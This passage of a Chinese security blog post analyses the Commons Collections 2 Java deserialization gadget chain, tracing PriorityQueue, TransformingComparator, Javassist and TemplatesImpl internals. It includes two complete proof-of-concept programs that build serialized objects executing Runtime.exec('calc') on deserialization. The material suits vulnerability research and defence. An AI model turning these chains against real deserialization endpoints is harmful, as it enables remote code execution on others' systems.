重点在于每次排序都要触发传入的比较器comparator的compare()方法。并且这个类重写了readObject()方法,跟进一下代码康康

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();

// Read in (and discard) array length
s.readInt();

SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
queue = new Object[size];

// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();

// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}

该函数中s.defaultReadObject()调用默认的方法,利用readInt()读取了数组的大小,接着通过s.readObject()读取Queue中的元素,因为在反序列化的时候队列元素也被序列化了,接着调用heapify()方法,跟进一下

1
2
3
4
5
@SuppressWarnings("unchecked")
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

该函数中会循环寻找最后一个非叶子节点 , 然后倒序调用 siftDown() 方法。>>>无符号右移,将第一个操作数向右移动指定的位数。向右移动的多余位将被丢弃,零位从左侧移入,其符号位变为 0,因此其表示的结果始终为非负数。该函数将无序数组 queue 的内容还原为二叉堆( 优先级队列 )。继续跟进siftDown()方法

1
2
3
4
5
6
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}

这里会判断是否拥有比较器comparator而进入不同比较逻辑。在PriorityQueue的构造方法中是否拥有比较器是可控的,这里要注意当initialCapacity的值小于1时会抛出异常,所以初始化时传入的值要大于或等于2。

1
2
3
4
5
6
7
8
9
public PriorityQueue(int initialCapacity,
Comparator<? super E> comparator) {
// Note: This restriction of at least one is not actually needed,
// but continues for 1.5 compatibility
if (initialCapacity < 1)
throw new IllegalArgumentException();
this.queue = new Object[initialCapacity];
this.comparator = comparator;
}

然后跟进有比较器时调用的siftDownUsingComparator()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@SuppressWarnings("unchecked")
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

该函数当k < half时就能进入循环,调用到比较器的compare()方法⽐较树的节点,这里half = size >>> 1k来自heapify()的循环变量 i 其最小值为0,所以推导出size>=2,这里很容易理解,至少需要两个元素才能触发排序和比较。而size默认值是为0的,需要经过两次入队(offer)后变为2,即调用Queue#add()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public boolean add(E e) {
return offer(e);
}
// ...
public boolean offer(E e) {
if (e == null)
throw new NullPointerException();
modCount++;
int i = size;
if (i >= queue.length)
grow(i + 1);
size = i + 1; // <--size的值增加
if (i == 0)
queue[0] = e;
else
siftUp(i, e);
return true;
}

总而言之就是,整个优先队列调用重写后的readObject()方法反序列化,然后反序列化队列元素,并调用heapify()方法,让队列中的元素保持优先级顺序,而排序过程就是二叉堆的树节点下移的过程,即调用siftDown()方法,并调用compare()⽅法⽐较树的节点

那么将比较器设置为TransformingComparator就能实现利用链调用了

cc2 POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import java.io.*;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
import java.util.Queue;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

public class CommonsCollections_2 {
public static void main(String[] args) throws Exception {
// 构造假Transformer数组,这里不再赘述
Transformer[] faketransfromer = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(faketransfromer);
// 将ChainedTransformer对象放入TransformingComparator对象中
Comparator comparator = new TransformingComparator(transformerChain);
// initialCapacity >=2,将比较器设置为TransformingComparator
Queue queue = new PriorityQueue(2, comparator);
// size>=2,添加队列元素用于比较,且元素类型一致
queue.add(1);
queue.add(2);
// 放入真正的恶意对象
setFieldValue(transformerChain, "iTransformers", transformer);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();

System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}

public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field1 = obj.getClass().getDeclaredField(field);
field1.setAccessible(true);
field1.set(obj, value);
}
}

为什么能从流中反序列化queue中的元素?

关于这个问题@zhouliu师傅做出了详细解释

PriorityQueuequeue 已经使用transient关键字修饰,成员使用transient关键字修饰,是为了序列化时不写入流中(该成员可能含有敏感信息,出于保护不写入)

1
transient Object[] queue;

但是,序列化规范允许待序列化的类实现writeObject方法,实现对自己的成员控制权

1
2
3
4
5
6
7
8
9
10
11
12
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException {
// Write out element count, and any hidden stuff
s.defaultWriteObject();

// Write out array length, for compatibility with 1.5 version
s.writeInt(Math.max(2, size + 1));

// Write out all elements in the "proper order".
for (int i = 0; i < size; i++)
s.writeObject(queue[i]);
}

因此queue被写入到了反序列化流中,从而被readObject()在反序列化流中读取队列元素

ysoserial 链的操作

类比CommonsCollections1,通过ChainedTransformerInvokerTransformerConstantTransformer串起来感觉够用了,但ysoserial 链中使用了TemplatesImpl类来承载payload,利用InvokerTransformer来执行TemplatesImpl类中的方法。虽然复杂,但开啃!

利用Javassist操作字节码

javassist( JAVA programming ASSISTant )是一个开源的分析,编辑,创建 Java字节码的类库。它允许开发者自由地在一个已经编译好的类中添加新的方法,或者是修改已有的方法。其主要优点在于简单快速,直接使用 java 编码的形式,而不需要了解虚拟机指令,就能动态改变类的结构, 或者动态生成类。

Javassist中最为重要的是ClassPool, CtClass, CtMethod以及CtField这几个类

ClassPool: 一个基于Hashtable实现的CtClass对象容器, 其中键是类名称, 值是表示该类的CtClass 对象.
CtClass: CtClass表示类, 一个CtClass(编译时类)对象可以处理一个class文件, 这些CtClass对象可以从ClassPool获得.
CtMethods: 表示类中的方法.
CtFields: 表示类中的字段

在pom.xml文件中导入依赖

1
2
3
4
5
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>

在 javassist 中,类 javaassit.CtClass 表示 class 文件。一个 CtClass (编译时类)对象可以处理一个 class 文件,ClassPoolCtClass 对象的容器。它按需读取类文件来构造 CtClass 对象,并且保存 CtClass 对象以便以后使用

下面给一个简单实例方便分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;

import java.io.IOException;

public class Test {
public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {
ClassPool pool = ClassPool.getDefault(); // 获取ClassPool对象, 使用系统默认类路径
CtClass clazz = pool.get(Test.class.getName()); // 通过类名获取该类的 CtClass 对象,用于后续编辑
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
// makeClassInitializer函数在类中生成静态方法
clazz.makeClassInitializer().insertBefore(cmd); // 在static前面插入
clazz.makeClassInitializer().insertAfter(cmd); // 在static后面插入
String Name = "Test1";
clazz.setName(Name); // 设置类名
clazz.writeFile("./a.class"); // 写入文件
}
}

运行后查看写入的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

import java.io.IOException;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;

public class Test1 {
public Test1() {
}

public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Test1.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
clazz.makeClassInitializer().insertBefore(cmd);
clazz.makeClassInitializer().insertAfter(cmd);
String Name = "Test1";
clazz.setName(Name);
clazz.writeFile("./a.class");
}

static {
Runtime.getRuntime().exec("calc");
Object var1 = null;
Runtime.getRuntime().exec("calc");
}
}

像这样我们就可以利用javassist修改字节码

命令执行点分析

命令执行点一般是构造Payload的起点,是反序列化的终点

javassist可以将类加载成字节码格式并能对其中的方法进行修改,这样就可以把这个序列化后的字符串给其他类的变量赋值了,如果那个类有将这个变量中的字节码给实例化成对象,那么就会触发其中的static的方法。

TemplatesImpl利用链

TemplatesImpl类中存在加载字节码并创建实例的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
private void defineTransletClasses()
throws TransformerConfigurationException {

if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

TransletClassLoader loader =
AccessController.doPrivileged(new PrivilegedAction<TransletClassLoader>() {
public TransletClassLoader run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),
_tfactory.getExternalExtensionsMap());
}
}); // <--抽象类ClassLoader的子类对象,用于加载java字节码

try {
final int classCount = _bytecodes.length;
_class = new Class<?>[classCount];

if (classCount > 1) {
_auxClasses = new HashMap<>();
}

// create a module for the translet

// ...

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i], pd); // <-- _bytecodes是一个二维数组,其中存放着要加载的java字节码
final Class<?> superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
// ...
}

所以在调用TemplatesImpl#defineTransletClasses方法时,会把 _bytecodes里面的字节码文件加载成Class对象,Class对象在调用newInstance()方法就会进行实例化,执行无参构造函数。

那么在哪里既调用到了defineTransletClasses方法,也调用到newInstance方法呢?

这个方法就是TemplatesImpl#getTransletInstance()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses(); // <--

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet)
_class[_transletIndex].getConstructor().newInstance(); // <--
translet.postInitialization();
translet.setTemplates(this);
translet.setOverrideDefaultParser(_overrideDefaultParser);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}

return translet;
}
catch (InstantiationException | IllegalAccessException |
NoSuchMethodException | InvocationTargetException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString(), e);
}
}

因此这里首先需要满足TemplatesImpl对象中_name的值不为null,才会调用到defineTransletClasses方法,而且调用newInstance方法后进行了类型转换,所以这个类必须继承自AbstractTranslet

但这是个私有方法不能被外部调用,找找哪里调用了getTransletInstance方法

不难发现newTransformer方法中调用了,并且它是一个public方法,那么这部分利用链就出来了

1
2
3
4
5
6
7
8
9
// 通过反射注入bytes的值 
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance(); // 反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes"); // 反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes}); // 将templatesImpl上的_bytecodes字段设置为runtime的byte数组
// 通过反射设置_name的值不为null
Field field1=templatesImpl.getClass().getDeclaredField("_name"); // 反射获取templatesImpl的_name字段
field1.setAccessible(true);
field1.set(templatesImpl,"xxx"); // 将templatesImpl上的_name字段设置为xxx

我们只需要通过反射机制传入_name_bytecodes的值即可

接着就直接用InvokerTransformer#transform反射调用TemplatesImpl#newTransformer方法就可以了

这里就回到了开始cc2链的分析,TransformingComparator#compare方法会调用参数中的transform方法

生成带命令执行的Java字节码

那么我们就先利用javassist生成恶意Java字节码并填充在TemplatesImpl对象的_bytecodes属性

1
2
3
4
5
6
7
// 创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数
ClassPool classPool = ClassPool.getDefault(); // 返回默认的类池
classPool.appendClassPath(AbstractTranslet); // 添加AbstractTranslet的搜索路径
CtClass payload = classPool.makeClass("CommonsCollections2"); // 创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); // 设置CommonsCollections2类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); // 创建一个static方法,并插入runtime
byte[] bytes = payload.toBytecode();
POC链
1
2
3
4
5
6
7
8
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
TemplatesImpl.newTransformer()
newInstance()
Runtime.exec()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;

import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;

import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.util.PriorityQueue;

public class Test {
public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, ClassNotFoundException, NoSuchFieldException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";


// 创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数
ClassPool classPool = ClassPool.getDefault(); // 返回默认的类池
classPool.appendClassPath(AbstractTranslet); // 添加AbstractTranslet的搜索路径
CtClass payload = classPool.makeClass("CommonsCollections2"); // 创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); // 设置CommonsCollections2类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); // 创建一个static方法,并插入runtime
byte[] bytes = payload.toBytecode();

// 通过反射注入bytes的值
Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance(); // 反射创建TemplatesImpl
Field field = templatesImpl.getClass().getDeclaredField("_bytecodes"); // 反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);
field.set(templatesImpl, new byte[][]{bytes}); // 将templatesImpl上的_bytecodes字段设置为runtime的byte数组

// 通过反射设置_name的值不为null
Field field1 = templatesImpl.getClass().getDeclaredField("_name"); // 反射获取templatesImpl的_name字段
field1.setAccessible(true);
field1.set(templatesImpl, "xxx");

InvokerTransformer transformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator comparator = new TransformingComparator(transformer); // 使用TransformingComparator修饰器传入transformer对象

// 创建PriorityQueue实例化对象,排序后使size值为2
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);

Field field2 = queue.getClass().getDeclaredField("comparator"); // 获取PriorityQueue的comparator字段
field2.setAccessible(true);
field2.set(queue, comparator); // 设置PriorityQueue的comparator字段值为comparator

Field field3 = queue.getClass().getDeclaredField("queue"); // 获取PriorityQueue的queue字段
field3.setAccessible(true);
field3.set(queue, new Object[]{templatesImpl, templatesImpl}); // 设置PriorityQueue的queue字段内容Object数组,内容为templatesImpl

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();

System.out.println(barr.toString());
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}

终于结束哩,悲,可能部分地方讲的不是很清楚,欢迎大神指点批评捏


参考链接:

ysoserial CommonsColletions2分析 | Atomovo

PriorityQueue源码分析 | linghu_java

Java篇Commons Collections 2 | Arsene.Tang

Ysoserial CommonsColletions2 两个问题 | zhouliu

ysoserial CommonsCollections2 详细分析 | D4ck